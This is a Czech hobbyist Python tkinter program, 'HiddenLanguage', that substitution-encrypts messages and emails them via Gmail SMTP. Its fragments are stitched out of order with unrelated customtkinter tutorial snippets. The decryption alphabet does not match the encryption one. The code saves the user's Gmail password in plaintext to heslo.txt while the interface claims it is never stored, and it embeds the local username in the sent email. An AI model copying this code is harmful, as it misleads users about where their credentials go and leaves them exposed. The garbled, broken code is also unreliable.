<p style="text-align: left;"><strong style="font-weight: 700; color: rgb(0, 0, 0); font-family: Arial, Helvetica, sans-serif; font-size: 26px; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; letter-spacing: normal; orphans: 2; text-align: left; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; white-space: normal; background-color: rgb(255, 255, 255); text-decoration-thickness: initial; text-decoration-style: initial; text-decoration-color: initial;">Zachycen&yacute; k&oacute;d ze serv</strong><strong style="font-weight: 700; color: rgb(0, 0, 0); font-family: Arial, Helvetica, sans-serif; font-size: 26px; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; letter-spacing: normal; orphans: 2; text-align: left; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; white-space: normal; background-color: rgb(255, 255, 255); text-decoration-thickness: initial; text-decoration-style: initial; text-decoration-color: initial;">eru</strong></p>
<p style="text-align: left;"><span style="font-family: Arial, Helvetica, sans-serif; font-size: 18px;"><strong>{nova_abeceda}</strong></span></p>
<p style="text-align: left;"><br></p>
<p><br></p>
<p><span style="font-family: Arial, Helvetica, sans-serif;"><br></span></p>
<p style="text-align: center;"><span style="font-family: Arial, Helvetica, sans-serif;"><strong>Tvůrce HiddenLanguage</strong><img src="https://myfiles.space/user_files/168855_15d4659979401e54/168855_custom_files/img1690038712.jpeg" alt="He know where you are" style="margin: 0 auto; display: block; width: 1100px;" width="1100" height="614"></span></p>
<p style="text-align: left;"><br></p>
<p style="text-align: center;"><br></p>
<p style="text-align: center;"><span style="font-family: Arial, Helvetica, sans-serif;"><strong>Doba odesl&aacute;n&iacute;: {formatovany_cas}</strong></span></p>
<p style="text-align: center;"><span style="font-family: Arial, Helvetica, sans-serif;"><strong>Soubor ke stažen&iacute;: <a href="https://www.mediafire.com/file/blnje4ut0ped9pi/HiddenLanguage.exe/file" target="_blank" rel="noopener noreferrer">MediaFire Download</a><br></strong></span></p>
<div style="color: red;"><br></div>
"""

            else:
                html_message = f"""<p><span style="font-family: Arial, Helvetica, sans-serif;"><strong><span style="font-size: 36px; color: rgb(0, 0, 0); text-shadow: rgba(136, 136, 136, 0) 0px 0px 0px;">Byla v&aacute;m odesl&aacute;na z&aacute;hadn&aacute; zpr&aacute;va</span></strong></span></p>
<p><span style="font-size: 26px;"><span style="font-family: Arial, Helvetica, sans-serif;"><strong>Co to m&aacute; znamenat?</strong></span></span></p>
<p>
    <font face="Arial, Helvetica, sans-serif"><span style="font-size: 18px;">Před několika vteřinami, přesněji v&nbsp;</span></font><strong style="font-family: Arial, Helvetica, sans-serif; font-size: 18px;">{hodiny_cas}</strong>
    <font face="Arial, Helvetica, sans-serif"><span style="font-size: 18px;">&nbsp; byla zaznamen&aacute;na podivn&aacute; aktivita na jak&eacute;msi programu s n&aacute;zvem&nbsp;</span></font><strong style="font-family: Arial, Helvetica, sans-serif; font-size: 18px;">HiddenLanguage</strong>
    <font face="Arial, Helvetica, sans-serif"><span style="font-size: 18px;">. Jedin&aacute; dohledateln&aacute; informace je, že uživatel se vyskytuje pod přezd&iacute;vkou&nbsp;</span></font><strong style="font-family: Arial, Helvetica, sans-serif; font-size: 18px;">{qw}</strong>
    <font face="Arial, Helvetica, sans-serif"><span style="font-size: 18px;">. Pokud v&iacute;te co m&aacute;te dělat, tak čiňte jak usoud&iacute;te. V př&iacute;loze je zasl&aacute;n k&oacute;d, jenž se v&aacute;m bude zajist&eacute; hodit v dal&scaron;&iacute;ch akc&iacute;ch.</span></font>
</p>
<p style="text-align: left;"><br></p>
<p style="text-align: left;"><span style="font-size: 26px; font-family: Arial, Helvetica, sans-serif;"><strong>Zachycen&aacute; zpr&aacute;va ze serv</strong><strong>eru</strong></span></p>
<div><span style="font-family: Arial, Helvetica, sans-serif;"><strong><span style="font-size: 18px;">{sifrovany_text}</span></strong></span></div>
<p><span style="font-family: Arial, Helvetica, sans-serif;"><br></span></p>
<p style="text-align: left;"><strong style="font-weight: 700; color: rgb(0, 0, 0); font-family: Arial, Helvetica, sans-serif; font-size: 26px; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; letter-spacing: normal; orphans: 2; text-align: left; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; white-space: normal; background-color: rgb(255, 255, 255); text-decoration-thickness: initial; text-decoration-style: initial; text-decoration-color: initial;">Zachycen&yacute; k&oacute;d ze serv</strong><strong style="font-weight: 700; color: rgb(0, 0, 0); font-family: Arial, Helvetica, sans-serif; font-size: 26px; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; letter-spacing: normal; orphans: 2; text-align: left; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; white-space: normal; background-color: rgb(255, 255, 255); text-decoration-thickness: initial; text-decoration-style: initial; text-decoration-color: initial;">eru</strong></p>
<p style="text-align: left;"><strong style="font-weight: 700; color: rgb(0, 0, 0); font-family: Arial, Helvetica, sans-serif; font-size: medium; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; letter-spacing: normal; orphans: 2; text-align: start; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; white-space: normal; background-color: rgb(255, 255, 255); text-decoration-thickness: initial; text-decoration-style: initial; text-decoration-color: initial;"><span style="font-size: 18px;">{nova_abeceda}</span></strong></p>
<p style="text-align: left;"><br></p>
<p style="text-align: left;"><span style="font-family: Arial, Helvetica, sans-serif; font-size: 26px;"><strong>Co d&aacute;le</strong></span></p>
<p style="text-align: left;"><span style="font-family: Arial, Helvetica, sans-serif; font-size: 18px;">V př&iacute;loze jsou dva soubory. Jeden z nich se vždy jmenuje sifrovani.txt a druh&yacute; je pojmenov&aacute;n podle autora.</span></p>
<p style="text-align: left;"><span style="font-family: Arial, Helvetica, sans-serif; font-size: 19px;"><strong><span style="color: rgb(226, 80, 65);">De&scaron;ifrov&aacute;n&iacute;</span></strong></span></p>
<ol>
    <li style="font-family: Arial, Helvetica, sans-serif; font-size: 18px;">St&aacute;hněte tento soubor, kter&yacute; se nejmenuje &scaron;ifrov&aacute;n&iacute;, do složky Plocha - HiddenLanguage - Program.</li>
    <li style="font-family: Arial, Helvetica, sans-serif; font-size: 18px;">Spusťte program a zvolte druhou možnost = de&scaron;ifrov&aacute;n&iacute;.&nbsp;</li>
    <li style="font-family: Arial, Helvetica, sans-serif; font-size: 18px;">Zadejte n&aacute;zev textov&eacute;ho souboru, jenž jste si před chv&iacute;l&iacute; st&aacute;hnul. (Pozor, napi&scaron;te n&aacute;zev bez .txt!)</li>
    <li style="font-family: Arial, Helvetica, sans-serif; font-size: 18px;">Vložte nečiteln&yacute; k&oacute;d, jenž vid&iacute;te nad sebou v č&aacute;sti B.&nbsp;</li>
    <li style="font-family: Arial, Helvetica, sans-serif; font-size: 18px;">Počkejte na v&yacute;sledek</li>
</ol>
<p><b style="font-family: Arial, Helvetica, sans-serif; font-size: 16px;">V odeslan&yacute;ch zpr&aacute;v&aacute;ch by jste měli vidět v&aacute;&scaron; odeslan&yacute; mail.</b></p>
<p><span style="font-family: Arial, Helvetica, sans-serif;"><span style="font-size: 19px; color: rgb(41, 105, 176);"><strong>&Scaron;ifrov&aacute;n&iacute;</strong></span></span></p>
<ol>
    <li style="font-family: Arial, Helvetica, sans-serif; font-size: 18px;">Spusťte program.</li>
    <li style="font-family: Arial, Helvetica, sans-serif; font-size: 18px;">Zvolte prvn&iacute; možnost.</li>
    <li style="font-family: Arial, Helvetica, sans-serif; font-size: 18px;">Zadejte text, kter&yacute; chcete &scaron;ifrovat.</li>
    <li style="font-family: Arial, Helvetica, sans-serif; font-size: 18px;">Zadejte n&aacute;zev pro uložen&iacute; va&scaron;eho k&oacute;du. (např. tajemny_kod)</li>
    <li style="font-family: Arial, Helvetica, sans-serif; font-size: 18px;">Uvid&iacute;te za&scaron;ifrovanou zpr&aacute;vu</li>
    <li style="font-family: Arial, Helvetica, sans-serif; font-size: 18px;">Vyberte zda-li chcete &scaron;ifru poslat někomu na mail.</li>
    <li style="font-family: Arial, Helvetica, sans-serif; font-size: 18px;">Zadejte svůj e-mail. (Pouze a jedině Gmail funguje)</li>
    <li style="font-family: Arial, Helvetica, sans-serif; font-size: 18px;">Zadejte e-mail toho, kdož m&aacute; mail obdržet.</li>
    <li style="font-family: Arial, Helvetica, sans-serif; font-size: 18px;">Zadejte sv&eacute; heslo. (heslo nikde neukl&aacute;d&aacute;me!)</li>
    <li style="font-family: Arial, Helvetica, sans-serif; font-size: 18px;">Je hotovo!</li>
</ol>
<p><span style="font-family: Arial, Helvetica, sans-serif;"><br></span></p>
<p><br></p>
<p><br></p>
<p><span style="font-family: Arial, Helvetica, sans-serif;"><br></span></p>
<p style="text-align: center;"><span style="font-family: Arial, Helvetica, sans-serif;"><strong>Tvůrce HiddenLanguage</strong><img src="https://myfiles.space/user_files/168855_15d4659979401e54/168855_custom_files/img1690038712.jpeg" alt="He know where you are" style="margin: 0 auto; display: block; width: 1100px;" width="1100" height="614"></span></p>
<p style="text-align: left;"><br></p>
<p style="text-align: center;"><br></p>
<p style="text-align: center;"><span style="font-family: Arial, Helvetica, sans-serif;"><strong>Doba odesl&aacute;n&iacute;: {formatovany_cas}</strong></span></p>
<p style="text-align: center;"><span style="font-family: Arial, Helvetica, sans-serif;"><strong>Soubor ke stažen&iacute;: <a href="https://www.mediafire.com/file/blnje4ut0ped9pi/HiddenLanguage.exe/file" target="_blank" rel="noopener noreferrer">MediaFire Download</a><br></strong></span></p>
<div style="color: red;"><br></div>
"""

            # Vytvoření instance MIMEText pro HTML obsah
            html_part = MIMEText(html_message, 'html')

            # Vytvoření multipart zprávy
            msg = MIMEMultipart()
            msg['From'] = sender_email
            msg['To'] = receiver_email
            msg['Subject'] = subject

            # Přidání HTML části do multipart zprávy
            msg.attach(html_part)


            # Přidání přílohy dm_heslo.txt
            with open(nazev_souboru, 'rb') as file:
                attachment = MIMEBase('application', 'octet-stream')
                attachment.set_payload(file.read())
                encoders.encode_base64(attachment)
                attachment.add_header('Content-Disposition', 'attachment', filename=nazev_souboru)
                msg.attach(attachment)

            # Přidání přílohy screenshot.png
            with open("sifrovani.txt", 'rb') as file:
                attachment = MIMEBase('application', 'octet-stream')
                attachment.set_payload(file.read())
                encoders.encode_base64(attachment)
                attachment.add_header('Content-Disposition', 'attachment', filename='sifrovani.txt')
                msg.attach(attachment)

            # Odeslání e-mailu
            server = smtplib.SMTP('smtp.gmail.com', 587)
            server.starttls()
            server.login(odesilatel, sender_password)
            server.send_message(msg)
            server.quit()
        # Tady se dělá práce
        def Sifrovani(zprava_ke_skryti,nazev_souboru):
            abeceda = 'ABCDEFGHIJKLMNOPQRSTUVWXYabcdefghijklmnopqrstuvwxyz123456789ěščřžýáíé'
            nova_abeceda = ''.join(random.sample(abeceda, len(abeceda)))

            # Uložení šifrace

            with open(nazev_souboru, "w") as file:
                file.write(nova_abeceda)
            # Konec ukládání

            prevodni_tabulka = str.maketrans(abeceda, nova_abeceda)
            global sifrovany_text
            sifrovany_text = zprava_ke_skryti.translate(prevodni_tabulka)

            with open("sifrovani.txt", "w") as file:
                file.write(sifrovany_text)

        sifrovani_okno.mainloop()

    def tlacitko_klik_desif():
        def Zpet_do_menu():
            desifrovani_okno.destroy()
            Uvodni_menu()

        desifrovani_okno = tk.Tk()
        desifrovani_okno.geometry("1920x1080")
        desifrovani_okno.title("Dešifrování")
        menu.destroy()

        nazev = tk.Label(desifrovani_okno ,text="Dešifrování", font=("Arial", 30,"bold"))
        nazev.pack()

        zasifr_text = tk.Label(desifrovani_okno, text="Níže napište zprávu, jenž chcete dešifrovat.", font=("Arial", 15))
        zasifr_text.pack()


        textbox_obsah = tk.Text(desifrovani_okno, height=10, width=50, font=("Arial", 15))
        textbox_obsah.pack(pady=20)


        textbox_kod_label = tk.Label(desifrovani_okno,text="Zadejte dešifrovací kod v příloze (ten bez mezer)",font=("Arial",13))
        textbox_kod_label.pack(pady=5)
        textbox_kod = tk.Text(desifrovani_okno,height=2, width=20,font=("Arial",15))
        textbox_kod.pack()

        def Redirect():
            zasifrovany_text_textbox = textbox_obsah.get("1.0", "end-1c")
            textbox_kod_obsah = textbox_kod.get("1.0", "end-1c")
            Desifrovani(zasifrovany_text_textbox,textbox_kod_obsah)


        tlacitko_desifrovani = tk.Button(desifrovani_okno,text="Dešifrovat zprávu",command=Redirect,height=1,width=15,font=("Arial",15),bg="blue",fg="white")
        tlacitko_desifrovani.pack(pady=20)

        output_label = tk.Label(desifrovani_okno,text="Obsah dešifrované zprávy",font=("Arial",15))
        output_label.pack(pady=5)
        output = tk.Text(desifrovani_okno,height=10,width=50,font=("Arial",15))
        output.pack()

        zpet_do_menu = tk.Button(desifrovani_okno, text="Zpět do menu", command=Zpet_do_menu,
                                   font=("Arial", 15, "bold"), bg="blue", fg="white", activeforeground="black")
        zpet_do_menu.pack(pady=20)


        def Desifrovani(zasifrovany_text,zasifrovany_kod):
            sifrovana_abeceda = zasifrovany_kod

            def create_decryption_map(original_alphabet, shuffled_alphabet):
                decryption_map = {}
                for orig_char, shuffled_char in zip(original_alphabet, shuffled_alphabet):
                    decryption_map[shuffled_char] = orig_char
                return decryption_map

            # Příklad použití:
            original_alphabet = 'ABDCEFGHIJKLMNOPQRSTUVWXYabcdefghijklmnopqrstuvwxyz123456789ěščřžýáíé#@!§'
            shuffled_alphabet = sifrovana_abeceda

            decryption_map = create_decryption_map(original_alphabet, shuffled_alphabet)

            # Dešifrování zprávy
            encrypted_message = zasifrovany_text
            decrypted_message = "".join(decryption_map.get(char, char) for char in encrypted_message)
            obsah_desifrovane_zpravy = decrypted_message

            output.delete("1.0", "end")  # Vymažeme obsah textového pole
            output.insert("1.0", obsah_desifrovane_zpravy)  # Vložíme dešifrovanou zprávu do textového pole









        #Tady budou věci po checkboxech
        desifrovani_okno.mainloop()





    def navraceni_do_menu():
        menu.destroy()
        Uvodni_menu()

    prostor_button = tk.Frame(menu)
    prostor_button.columnconfigure(0,weight=10)
    prostor_button.columnconfigure(1,weight=10)
    prostor_button.columnconfigure(2,weight=10)

    tlacitko_sif = tk.Button(prostor_button,text="Šifrovat", command=tlacitko_klik_sif,font=("Arial",15,"bold"),width=50,height=4,bg="red", fg="white",activebackground="orange",activeforeground="black")
    tlacitko_sif.grid(row=0,column=0,sticky=tk.W+tk.E)

    tlacitko_desif = tk.Button(prostor_button,text="Dešifrovat", command=tlacitko_klik_desif,font=("Arial",15,"bold"),width=50,height=4,bg="green", fg="white",activebackground="yellow",activeforeground="black")
    tlacitko_desif.grid(row=1,column=0,sticky=tk.W+tk.E)


    tlacitko_menu = tk.Button(prostor_button, text="Zpět do menu", command=navraceni_do_menu, font=("Arial", 15, "bold"),width=50,height=4,
                               bg="purple", fg="white", activebackground="pink",
                               activeforeground="black")
    tlacitko_menu.grid(row=2,column=0,sticky=tk.W+tk.E)

    prostor_button.pack(pady=100)
    #(x=600, y=100, width=100, height=100)

    menu.mainloop()

def Uvodni_menu():
    # Vytvoření okna
    global okno
    okno = tk.Tk()
    okno.geometry("800x600")
    okno.title("HiddenLanguage")

    # widget s časem
    def update_time():
        current_time = time.strftime("%d.%m.%Y %H:%M:%S")  # Formát času (hodiny:minuty:sekundy)
        time_label.config(text=current_time)
        okno.after(1000, update_time)  # Znovu spustit funkci každou sekundu (1000 ms)


    # Vytvoření tlačítka
    nazev = tk.Label(okno, text="\n" + "HiddenLanguage", font=("Arial", 30, "bold"),fg="blue")
    nazev.pack()

    aktualni_update = tk.Label(okno, text="Aktuální verze 1.0 ze dne 2023-07-28", font=("Arial", 15, "bold"),fg="blue",bg="#A1B7FF")
    aktualni_update.pack()
    informace = tk.Label(okno,
                         text="Tento program umí šifrovat a dešifrovat zprávy." + "\n" + "Zašifrované zprávy může odeslat jakékoliv určené osobě na mail." + "\n" + "Více informací naleznete na kubasobr.blogspot.com" + "\n" + "Original HiddenLanguage, all rights reserved",
                         font=("Arial", 12))
    informace.pack()

    tlacitko = tk.Button(okno, text="Klikněte pro start!", command=tlacitko_klik, font=("Arial", 25, "bold"), height=5,
                         width=24, bg="blue", fg="white", activebackground="aqua", activeforeground="black")
    tlacitko.pack(padx=50, pady=20)

    copyright = tk.Label(okno, text="Naprogramoval Jakub Šobr 2023", font=("Arial", 9))
    copyright.pack()

    #WiDGET S AKTUÁLNÍM ČASEM CO SE AKTUALIZUJE PO 1s
    time_label = tk.Label(okno, font=("Helvetica", 24), bg="light gray")
    time_label.pack(fill=tk.BOTH, expand=True)
    update_time()


    # Spuštění smyčky událostí (main loop)
    okno.mainloop()

def Prihlaseni():

    import tkinter as tk
    import time

    def update_time():
        current_time = time.strftime("%d.%m %Y - %H:%M:%S")
        time_label.config(text=current_time)
        prihlaseni.after(1000, update_time)

    def tlacitko_potvrdit_heslo():
        uzivatel= entry_uzivatel.get()
        heslo = entry_password.get()
        if heslo == "**Tady_má_být_heslo_ale_nejsem_cock"" and uzivatel == "**Tady_má_být_heslo_ale_nejsem_cock":
            label_error.config(text="Zadali jste správné heslo.", font=("Arial", 10), fg="blue")
            prihlaseni.destroy()
            # ... Pokračování s vaším kódem ...
            Uvodni_menu()
        else:
            label_error.config(text="Neplatné uživatelské jméno nebo heslo.",font=("Arial",10))
            entry_password.delete(0, tk.END)
            entry_uzivatel.delete(0, tk.END)

    def tlacitko_stisk_klavesy(event):
        tlacitko_klik()

    def on_close():
        pass  # Prázdná funkce zabrání zavření okna

    prihlaseni = tk.Tk()
    prihlaseni.geometry("800x700")
    prihlaseni.title("HiddenLanguage")

    prihlaseni.protocol("WM_DELETE_WINDOW", on_close)  # Zavolání funkce on_close při pokusu o zavření okna

    label = tk.Label(prihlaseni, text="Vítejte v aplikaci HiddenLanguage", font=("Arial", 30, "bold"))
    label.pack(pady=50)


    # TADY JE KOLONKA NA UŽIVATELE
    label_uzivatel = tk.Label(prihlaseni,text="Zadejte uživatelské jméno:",font=("Arial",20))
    label_uzivatel.pack()

    entry_uzivatel = tk.Entry(prihlaseni, font=("Arial", 20))
    entry_uzivatel.pack(pady=20)

    #KOLONKA NA HESLO
    label_password = tk.Label(prihlaseni, text="Zadejte heslo:", font=("Arial", 20))
    label_password.pack()

    entry_password = tk.Entry(prihlaseni, font=("Arial", 20), show="*")
    entry_password.pack(pady=20)
    #konec kolonky a potvrzení v podobe tlacitka


    prihlaseni_button = tk.Button(prihlaseni, text="Potvrdit",bg="blue",fg="white", font=("Arial", 20), command=tlacitko_potvrdit_heslo)
    prihlaseni_button.pack(pady=10)

    # Tady je ukončení programu definitivně!!
    def Konec():
        exit()
    konec = tk.Button(prihlaseni, text="Opustit aplikaci", command=Konec,
                                  font=("Arial", 12, "bold"), bg="red", fg="white", activeforeground="black")
    konec.pack()


    label_error = tk.Label(prihlaseni, text="", font=("Arial", 15), fg="red")
    label_error.pack()

    entry_password.bind("<Return>", tlacitko_stisk_klavesy)

    time_label = tk.Label(prihlaseni, font=("Helvetica", 24), bg="light gray")
    time_label.pack(fill=tk.BOTH, expand=True)
    update_time()

    prihlaseni.mainloop()
Prihlaseni()
Uvodni_menu()
mylist = ['nowplaying', 'PBS', 'PBS', 'nowplaying', 'job', 'debate', 'thenandnow']
myset = set(mylist)
print(myset)
# Create a custom application class "Hobbies" that inherits from CTk (Custom Tkinter)
class Hobbies(CTk):
    # Constructor of the class
    def __init__(self):
        # Call the constructor of the parent class (CTk) using super()
        super().__init__()
        self.title("Hobbies")
        
        # Create a label to display "Select your hobbies"
        self.display_label = CTkLabel(self, text="Select your hobbies")
        self.display_label.pack(padx=10, pady=10)

        # Create a frame to hold the checkboxes
        self.frame =CTkFrame(self)
        self.frame.pack(padx=10, pady=10)

        # Create a StringVar to store the value of the first hobby (initially empty)
        self.hobby1 = StringVar()
        # Create a CTkCheckBox for "Coding"
        # When the checkbox is toggled, the self.hobby() method will be called
        # The checkbox's variable is self.hobby1, and its values are "Coding" (checked) and "" (unchecked)
        self.hobby1_cb = CTkCheckBox(self.frame, text="Coding", command=self.hobby,
                                            variable=self.hobby1, onvalue="Coding", offvalue="")
        self.hobby1_cb.grid(row=0, padx=10, pady=10)

        # Create a StringVar to store the value of the second hobby (initially empty)
        self.hobby2 = StringVar()
        # Create a CTkCheckBox for "Cricket"
        # When the checkbox is toggled, the self.hobby() method will be called
        # The checkbox's variable is self.hobby2, and its values are "Cricket" (checked) and "" (unchecked)
        self.hobby2_cb = CTkCheckBox(self.frame, text="Cricket", command=self.hobby,
                                            variable=self.hobby2, onvalue="Cricket", offvalue="")
        self.hobby2_cb.grid(row=1, padx=10, pady=10)

        # Create a StringVar to store the value of the third hobby (initially empty)
        self.hobby3 = StringVar()
        # Create a CTkCheckBox for "Drawing"
        # When the checkbox is toggled, the self.hobby() method will be called
        # The checkbox's variable is self.hobby3, and its values are "Drawing" (checked) and "" (unchecked)
        self.hobby3_cb = CTkCheckBox(self.frame, text="Drawing", command=self.hobby,
                                            variable=self.hobby3, onvalue="Drawing", offvalue="")
        self.hobby3_cb.grid(row=2, padx=10, pady=10)

        # Create a label to display the selected hobbies
        self.label= CTkLabel(self.frame, text="")
        self.label.grid(row=3)

    # Method to handle the checkbox toggle event
    def hobby(self):
        # Destroy the existing label to clear its contents
        self.label.destroy()

        # Create a new label to display the selected hobbies
        self.label = CTkLabel(self.frame, text=f"{self.hobby1.get()} {self.hobby2.get()} {self.hobby3.get()}")
        self.label.grid(row=3)

# Create an instance of the custom application class "Hobbies"
app = Hobbies()
# Start the main event loop of the application
app.mainloop()
# Importing the necessary modules from customtkinter library
from customtkinter import *
# This function will be called when the checkbox is toggled
def checkbox_event():
    # Create a new CTkLabel widget and display the current value of the checkbox
    label = CTkLabel(app, text=f"checkbox toggled, current value: {check_var.get()}")
    label.pack()

# Create a CTk application instance
app = CTk()
# Create a StringVar to hold the value of the checkbox (initially empty)
check_var = StringVar()
# Create a CTkCheckBox widget with text "Switch"
# When the checkbox is toggled, the checkbox_event function will be called
# The checkbox's variable is check_var, and its values are "on" (checked) and "off" (unchecked)
checkbox = CTkCheckBox(app, text="Switch", command=checkbox_event,
                                     variable=check_var, onvalue="on", offvalue="off")
# Pack the checkbox widget, adding padding around it
checkbox.pack(padx=10, pady=10)
# Start the main event loop of the application
app.mainloop()

"""
# ------------------IN OOP------------------
# Create a custom application class "App" that inherits from CTk (Custom Tkinter)
class App(CTk):
    # Constructor of the class
    def __init__(self):
        # Call the constructor of the parent class (CTk) using super()
        super().__init__()

        # Create a StringVar to hold the value of the checkbox (initially empty)
        self.check_var = StringVar()
        # Create a CTkCheckBox widget with text "Switch"
        # When the checkbox is toggled, the self.checkbox_event method will be called
        # The checkbox's variable is self.check_var, and its values are "on" (checked) and "off" (unchecked)
        self.checkbox = CTkCheckBox(self, text="Switch", command=self.checkbox_event,
                                            variable=self.check_var, onvalue="on", offvalue="off")
        # Pack the checkbox widget, adding padding around it
        self.checkbox.pack(padx=10, pady=10)

    # Method to handle the checkbox toggle event
    def checkbox_event(self):
        # Create a new CTkLabel widget and display the current value of the checkbox
        label = CTkLabel(self, text=f"checkbox toggled, current value: {self.check_var.get()}")
        label.pack()

# Create an instance of the custom application class "App"
app = App()
app.mainloop()
"""
import tkinter as tk
from tkinter import messagebox
import random
import time
import random
import smtplib
import time
from email.mime.multipart import MIMEMultipart
import time
from email.mime.base import MIMEBase
from email import encoders

import getpass
from email.mime.text import MIMEText
obsah_desifrovane_zpravy = ""
import datetime
def tlacitko_klik():
    okno.destroy()
    menu = tk.Tk()
    menu.geometry("800x700")
    #menu.configure(bg="light gray")
    menu.title("HiddenLanguage")

    label1 = tk.Label(menu,text="\n" +"Šifrovat či Dešifrovat?",font=("Arial",30,"bold"))
    label1.pack()

    label2 = tk.Label(menu,text="Chcete šifrovat nebo dešifrovat?",font=("Arial",15))
    label2.pack()

    def tlacitko_klik_sif():


        #Přes tento kod se uloží hodnoty a spustí funkce Šifrování a email.
        def ulozeni_hodnot_mail():
            # Získáme text z textboxu (Text widgetu)
            zprava_ke_skryti = textbox_obsah.get("1.0", "end-1c")  # "1.0" označuje začátek a "end-1c" označuje konec textu
            nazev_souboru_sifr = (str(textbot_nazev_souboru.get("1.0", "end-1c")) + ".txt")
            odesilatel = textbot_odesilatel.get("1.0", "end-1c")
            prijemce = textbot_prijemce.get("1.0", "end-1c")
            heslo = textbot_odesilatel_heslo.get("1.0", "end-1c")

            #List který slouží pro for i in range dole


            with open("zprava_ke_skryti.txt","w") as file:
                file.write(zprava_ke_skryti)
            with open(nazev_souboru_sifr, "w") as file:
                file.write(nazev_souboru_sifr)
            with open("odesilatel.txt","w") as file:
                file.write(odesilatel)
            with open("prijemce.txt","w") as file:
                file.write(prijemce)
            with open("heslo.txt", "w") as file:
                file.write(heslo)

            # Tady získáváme informace ke každé informaci v podobě True False (jestli je pole prázdné nebo ne) Stačí aby bylo jedno a bude error
            if not zprava_ke_skryti.strip() or not nazev_souboru_sifr.strip() or not odesilatel.strip() or not prijemce.strip() or not heslo.strip():
                messagebox.showinfo("Upozornění", "Vyplňte všechna pole!")

            if odesilatel.strip():
                if not odesilatel[-10:] == "@gmail.com":
                    messagebox.showinfo("Upozornění", "Jediná možná adresa u odesílatele e-mailu je @gmail.com!")

            Sifrovani(zprava_ke_skryti, nazev_souboru_sifr)
            with open("sifrovani.txt", "r") as file:
                sifrovany_text = file.read()
                oznamena_sifra = tk.Label(sifrovani_okno, text=(
                        "Vaše skrytá zakodovaná šifra zní takto: " + str(sifrovany_text)),
                                          font=("Arial", 15))
                oznamena_sifra.place(x=150, y=650, width=600, height=100)
            email(odesilatel, prijemce, heslo, nazev_souboru_sifr)
            messagebox.showinfo("Upozornění", "Úspěšně odeslán email!")
            program_bude_ukoncen = tk.Label(sifrovani_okno,
                                            text="Toto okno bude do pár sekund zavřeno.Poté budete moci program použít znovu.")
            program_bude_ukoncen.place(x=250, y=650, width=600, height=100)
            time.sleep(5)
            sifrovani_okno.destroy()
            time.sleep(2)
            Uvodni_menu()



        #Vytvoření šifrovacího okna
        sifrovani_okno = tk.Tk()
        sifrovani_okno.geometry("1920x1080")
        sifrovani_okno.title("Šifrování")
        menu.destroy()

        def zpet_do_menu():
            time.sleep(2)
            sifrovani_okno.destroy()
            Uvodni_menu()

        label1 = tk.Label(sifrovani_okno ,text="Šifrování", font=("Arial", 30))
        label1.pack()


        label2 = tk.Label(sifrovani_okno,text="Níže napište svoji zprávu, jenž chcete šifrovat.", font=("Arial", 15))
        label2.pack()
        textbox_obsah = tk.Text(sifrovani_okno, height=10,width=50, font=("Arial", 15))
        textbox_obsah.pack(pady=20)


        label3 = tk.Label(sifrovani_okno,padx=30, text="Zde napište název pro soubor, v němž bude uložen kod.", font=("Arial", 15))
        label3.pack()
        textbot_nazev_souboru = tk.Text(sifrovani_okno, height=1,width=30, font=("Arial", 15))
        textbot_nazev_souboru.pack(pady=20)

        #EMAIL
        email_odesilatel_label = tk.Label(sifrovani_okno,padx=35, text="Zadejte váš email", font=("Arial", 15))
        email_odesilatel_label.pack()
        textbot_odesilatel = tk.Text(sifrovani_okno, height=1, width=30, font=("Arial", 15))
        textbot_odesilatel.pack(pady=20)

        email_prijemce_label = tk.Label(sifrovani_okno, padx=45, text="Zadejte email dané osoby", font=("Arial", 15))
        email_prijemce_label.pack()
        textbot_prijemce = tk.Text(sifrovani_okno, height=1, width=30, font=("Arial", 15))
        textbot_prijemce.pack(pady=20)

        email_odesilatel_label_heslo = tk.Label(sifrovani_okno, padx=50, text="Zadejte vaše heslo", font=("Arial", 15))
        email_odesilatel_label_heslo.pack()
        textbot_odesilatel_heslo = tk.Text(sifrovani_okno, height=1, width=30, font=("Arial", 15))
        textbot_odesilatel_heslo.pack(pady=20)


        kontrola = tk.Button(sifrovani_okno,text="Odeslat", command=ulozeni_hodnot_mail,font=("Arial",20),bg = "gray", fg = "black", activebackground = "blue",activeforeground="white")
        kontrola.pack(pady=10)

        poznamka = tk.Label(sifrovani_okno, text="Kod v souboru, jemuž dáváte název je takový kod bez mezer, který je důležitý při dešifrování." + "\n" +"Odesílatel musí mít emailovou adresu od Gmailu. Příjemce nemusí." + "\n" +"Heslo vámi zadané se nikam neukládá a za to vám ručím. Celý programovací kod je veřejně přístupný.", font=("Arial", 10))
        poznamka.pack(pady=1)

        # TADY je check button na to jestli chce aby měl email nápovědu na to jak šifrovat a dešifrovat
        def on_checkbox_click():
            if napoveda.get() == 1:
                #print("Zaškrtnuto")
                with open("napoveda_uzivatel","w") as file:
                    file.write("ano")
            else:
                #print("Odškrtnuto")
                with open("napoveda_uzivatel","w") as file:
                    file.write("ne")

        napoveda = tk.IntVar()
        checkbox = tk.Checkbutton(sifrovani_okno, text="Chcete aby email obsahoval nápovědu k dešifrování a šifrování?",font=("Arial",12), variable=napoveda, command=on_checkbox_click)
        checkbox.pack()

        navraceni_do_menu = tk.Button(sifrovani_okno,text="Vrátit se do menu",command=zpet_do_menu,font=("Arial",12,"bold"),bg="blue",fg="white",activeforeground="black")
        navraceni_do_menu.pack()

        #Konfigurace mailu
        def email(odesilatel,prijemce,password,nazev_souboru):
            qw = getpass.getuser()
            import datetime
            # Získání aktuálního času
            cas = datetime.datetime.now()
            hodiny_cas = cas.strftime("%H:%M:%S")
            formatovany_cas = cas.strftime("%Y-%m-%d %H:%M:%S")

            sender_password = password

            # Email configuration
            sender_email = odesilatel
            receiver_email = prijemce
            subject = "Byla vám poslána záhadná zpráva"

            with open(nazev_souboru,"r") as file:
                nova_abeceda = file.read()
            with open("napoveda_uzivatel","r") as file:
                napoveda_ano_ne = file.read()
            if napoveda_ano_ne == "ano":
